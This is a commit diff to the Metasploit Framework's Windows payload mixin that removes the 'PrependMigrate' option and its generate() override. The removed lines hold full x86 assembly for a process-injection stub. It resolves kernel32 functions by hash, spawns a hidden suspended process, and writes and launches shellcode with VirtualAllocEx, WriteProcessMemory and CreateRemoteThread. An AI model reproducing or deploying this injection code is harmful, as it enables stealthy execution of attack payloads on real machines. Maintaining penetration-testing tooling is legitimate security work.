@@ -26,7 +26,7 @@ module Msf::Payload::Windows
26
26
# This mixin is chained within payloads that target the Windows platform.
27
27
# It provides special variable substitution for things like EXITFUNC and
28
28
# automatically adds it as a required option for exploits that use windows
29
- # payloads. It also provides the migrate prepend.
29
+ # payloads.
30
30
#
31
31
def initialize ( info = { } )
32
32
ret = super ( info )
@@ -53,206 +53,8 @@ def initialize(info = {})
53
53
[
54
54
Msf ::OptRaw . new ( 'EXITFUNC' , [ true , "Exit technique: #{ @@exit_types . keys . join ( ", " ) } " , 'process' ] )
55
55
] , Msf ::Payload ::Windows )
56
- register_advanced_options (
57
- [
58
- Msf ::OptBool . new ( 'PrependMigrate' , [ true , "Spawns and runs shellcode in new process" , false ] ) ,
59
- Msf ::OptString . new ( 'PrependMigrateProc' , [ false , "Process to spawn and run shellcode in" ] )
60
- ] , Msf ::Payload ::Windows )
61
- ret
62
- end
63
-
64
- #
65
- # Overload the generate() call to prefix our stubs
66
- #
67
- def generate ( *args )
68
- # Call the real generator to get the payload
69
- buf = super ( *args )
70
- pre = ''
71
-
72
- test_arch = [ *( self . arch ) ]
73
-
74
- # Handle all x86 code here
75
- if ( test_arch . include? ( ARCH_X86 ) )
76
-
77
- # PrependMigrate
78
- if ( datastore [ 'PrependMigrate' ] )
79
- payloadsize = "0x%04x" % buf . length
80
- procname = datastore [ 'PrependMigrateProc' ] || 'rundll32'
81
-
82
- migrate_asm = <<EOS
83
- cld ; Clear the direction flag.
84
- call start ; Call start, this pushes the address of 'api_call' onto the stack.
85
- api_call:
86
- pushad ; We preserve all the registers for the caller, bar EAX and ECX.
87
- mov ebp, esp ; Create a new stack frame
88
- xor edx, edx ; Zero EDX
89
- mov edx, [fs:edx+48] ; Get a pointer to the PEB
90
- mov edx, [edx+12] ; Get PEB->Ldr
91
- mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
92
- next_mod: ;
93
- mov esi, [edx+40] ; Get pointer to modules name (unicode string)
94
- movzx ecx, word [edx+38] ; Set ECX to the length we want to check
95
- xor edi, edi ; Clear EDI which will store the hash of the module name
96
- loop_modname: ;
97
- xor eax, eax ; Clear EAX
98
- lodsb ; Read in the next byte of the name
99
- cmp al, 'a' ; Some versions of Windows use lower case module names
100
- jl not_lowercase ;
101
- sub al, 0x20 ; If so normalise to uppercase
102
- not_lowercase: ;
103
- ror edi, 13 ; Rotate right our hash value
104
- add edi, eax ; Add the next byte of the name
105
- loop loop_modname ; Loop untill we have read enough
106
- ; We now have the module hash computed
107
- push edx ; Save the current position in the module list for later
108
- push edi ; Save the current module hash for later
109
- ; Proceed to iterate the export address table,
110
- mov edx, [edx+16] ; Get this modules base address
111
- mov eax, [edx+60] ; Get PE header
112
- add eax, edx ; Add the modules base address
113
- mov eax, [eax+120] ; Get export tables RVA
114
- test eax, eax ; Test if no export address table is present
115
- jz get_next_mod1 ; If no EAT present, process the next module
116
- add eax, edx ; Add the modules base address
117
- push eax ; Save the current modules EAT
118
- mov ecx, [eax+24] ; Get the number of function names
119
- mov ebx, [eax+32] ; Get the rva of the function names
120
- add ebx, edx ; Add the modules base address
121
- ; Computing the module hash + function hash
122
- get_next_func: ;
123
- jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
124
- dec ecx ; Decrement the function name counter
125
- mov esi, [ebx+ecx*4] ; Get rva of next module name
126
- add esi, edx ; Add the modules base address
127
- xor edi, edi ; Clear EDI which will store the hash of the function name
128
- ; And compare it to the one we want
129
- loop_funcname: ;
130
- xor eax, eax ; Clear EAX
131
- lodsb ; Read in the next byte of the ASCII function name
132
- ror edi, 13 ; Rotate right our hash value
133
- add edi, eax ; Add the next byte of the name
134
- cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
135
- jne loop_funcname ; If we have not reached the null terminator, continue
136
- add edi, [ebp-8] ; Add the current module hash to the function hash
137
- cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
138
- jnz get_next_func ; Go compute the next function hash if we have not found it
139
- ; If found, fix up stack, call the function and then value else compute the next one...
140
- pop eax ; Restore the current modules EAT
141
- mov ebx, [eax+36] ; Get the ordinal table rva
142
- add ebx, edx ; Add the modules base address
143
- mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
144
- mov ebx, [eax+28] ; Get the function addresses table rva
145
- add ebx, edx ; Add the modules base address
146
- mov eax, [ebx+4*ecx] ; Get the desired functions RVA
147
- add eax, edx ; Add the modules base address to get the functions actual VA
148
- ; We now fix up the stack and perform the call to the desired function...
149
- finish:
150
- mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
151
- pop ebx ; Clear off the current modules hash
152
- pop ebx ; Clear off the current position in the module list
153
- popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
154
- pop ecx ; Pop off the origional return address our caller will have pushed
155
- pop edx ; Pop off the hash value our caller will have pushed
156
- push ecx ; Push back the correct return value
157
- jmp eax ; Jump into the required function
158
- ; We now automagically return to the correct caller...
159
- get_next_mod: ;
160
- pop eax ; Pop off the current (now the previous) modules EAT
161
- get_next_mod1: ;
162
- pop edi ; Pop off the current (now the previous) modules hash
163
- pop edx ; Restore our position in the module list
164
- mov edx, [edx] ; Get the next module
165
- jmp next_mod ; Process this module
166
- ;--------------------------------------------------------------------------------------
167
- start: ;
168
- pop ebp ; Pop off the address of 'api_call' for calling later.
169
-
170
- ; get our own startupinfo at esp+0x60
171
- add esp,-400 ; adjust the stack to avoid corruption
172
- mov edx,esp
173
- add edx,0x60
174
- push edx
175
- push 0xB16B4AB1 ; hash( "kernel32.dll", "GetStartupInfoA" )
176
- call ebp ; GetStartupInfoA( &si );
177
56
178
- ; ptr to startupinfo is in eax
179
- ; pointer to string is in ecx
180
- jmp getcommand
181
- gotcommand:
182
- pop esi ; esi = address of process name (command line)
183
-
184
- ; create the process
185
- mov edi,eax
186
- add edi,0x60 ; Offset of empty space for lpProcessInformation
187
- push edi ; lpProcessInformation : write processinfo here
188
- push eax ; lpStartupInfo : current info (read)
189
- xor ebx,ebx
190
- push ebx ; lpCurrentDirectory
191
- push ebx ; lpEnvironment
192
- push 0x08000004 ; dwCreationFlags CREATE_NO_WINDOW | CREATE_SUSPENDED
193
- push ebx ; bInHeritHandles
194
- push ebx ; lpThreadAttributes
195
- push ebx ; lpProcessAttributes
196
- push esi ; lpCommandLine
197
- push ebx ; lpApplicationName
198
-
199
- push 0x863FCC79 ; hash( "kernel32.dll", "CreateProcessA" )
200
- call ebp ; CreateProcessA( &si );
201
-
202
- ; allocate memory in the process (VirtualAllocEx())
203
- ; get handle
204
- push 0x40 ; RWX
205
- add bh,0x10 ; ebx = 0x1000
206
- push ebx ; MEM_COMMIT
207
- push ebx ; size
208
- xor ebx,ebx
209
- push ebx ; address
210
- push [edi] ; handle
211
- push 0x3F9287AE ; hash( "kernel32.dll", "VirtualAllocEx" )
212
- call ebp ; VirtualAllocEx( ...);
213
-
214
- ; eax now contains the destination
215
- ; WriteProcessMemory()
216
- push esp ; lpNumberOfBytesWritten
217
- push #{ payloadsize } ; nSize
218
- ; pick up pointer to shellcode & keep it on stack
219
- jmp begin_of_payload
220
- begin_of_payload_return: ; lpBuffer
221
- push eax ; lpBaseAddress
222
- push [edi] ; hProcess
223
- push 0xE7BDD8C5 ; hash( "kernel32.dll", "WriteProcessMemory" )
224
- call ebp ; WriteProcessMemory( ...);
225
-
226
- ; run the code (CreateRemoteThread())
227
- push ebx ; lpthreadID
228
- push ebx ; run immediately
229
- push ebx ; no parameter
230
- mov ecx,[esp-0x4]
231
- push ecx ; shellcode
232
- push ebx ; stacksize
233
- push ebx ; lpThreadAttributes
234
- push [edi]
235
- push 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" )
236
- call ebp ; CreateRemoteThread( ...);
237
-
238
- ;sleep
239
- push -1
240
- push 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
241
- call ebp ; Sleep( ... );
242
-
243
- getcommand:
244
- call gotcommand
245
- db "#{ procname } "
246
- db 0x00
247
- begin_of_payload:
248
- call begin_of_payload_return
249
- EOS
250
-
251
- pre << Metasm ::Shellcode . assemble ( Metasm ::Ia32 . new , migrate_asm ) . encode_string
252
- end
253
- end
254
-
255
- return ( pre + buf )
57
+ ret
256
58
end
257
59
258
60
#
0 commit comments